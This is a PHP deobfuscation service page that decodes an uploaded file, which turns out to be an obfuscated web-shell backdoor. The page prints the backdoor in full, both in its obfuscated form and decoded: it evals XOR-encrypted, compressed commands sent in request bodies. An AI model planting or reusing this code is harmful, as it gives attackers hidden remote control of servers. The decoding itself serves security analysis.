Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $I='$k=B"10bdBa6d1";BBB$kh="fe44e58ca4fa"B;$kf="c7eB9a3Bdbaf99";$Bp="E1aFmBlInB6fDb..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="10bda6d1";$kh="fe44e58ca4fa";$kf="c7e9a3dbaf99";$p="E1aFmlIn6fDb1MSo";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$I='$k=B"10bdBa6d1";BBB$kh="fe44e58ca4fa"B;$kf="c7eB9a3Bdbaf99";$Bp="E1aFmBlInB6fDb1MSo"B;f';
$J=';($j<B$c&&$BiB<$l);B$j++,$i++)B{$o.=$t{$i}B^$BBk{$j};}}return $oB;}ifB (@Bpreg_maBtch';
$h='unctBion x($tB,$BBk){$Bc=strleBn($k);$l=sBtrlenB($tB);$o="";for($i=0B;$iB<$l;){foBr($Bj=0';
$z='ob_enBd_cleaBn()B;$Br=@baseB64_encode(@x(B@gzcomBpress(BB$Bo),$k)BB);print("$p$kh$r$kf");}';
$k=str_replace('iw','','criweatiwe_iwiwfuniwiwction');
$j='B("/$kh(.+)$kBf/",@fBiBle_get_conBteBntsB("php://inpBut"),B$mB)==1) {@ob_staBrt();@eB';
$x='valB(B@gzuncomBBpress(@x(B@bBasBe64_decode(B$m[1]),$k)));$o=BB@ob_getB_contents();@B';
$W=str_replace('B','',$I.$h.$J.$j.$x.$z);
$a=$k('',$W);$a();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$I $k=B"10bdBa6d1";BBB$kh="fe44e58ca4fa"B;$kf="c7eB9a3Bdbaf99";..
$J ;($j<B$c&&$BiB<$l);B$j++,$i++)B{$o.=$t{$i}B^$BBk{$j};}}retur..
$W $k="10bda6d1";$kh="fe44e58ca4fa";$kf="c7e9a3dbaf99";$p="E1aF..
$h unctBion x($tB,$BBk){$Bc=strleBn($k);$l=sBtrlenB($tB);$o="";..
$j B("/$kh(.+)$kBf/",@fBiBle_get_conBteBntsB("php://inpBut"),B$..
$k 10bda6d1
$p E1aFmlIn6fDb1MSo
$x valB(B@gzuncomBBpress(@x(B@bBasBe64_decode(B$m[1]),$k)));$o=..
$z ob_enBd_cleaBn()B;$Br=@baseB64_encode(@x(B@gzcomBpress(BB$Bo..
$kf c7e9a3dbaf99
$kh fe44e58ca4fa

Stats

MD5 05c3dddb16ffa95fd7a8cfaba10cd458
Eval Count 1
Decode Time 154 ms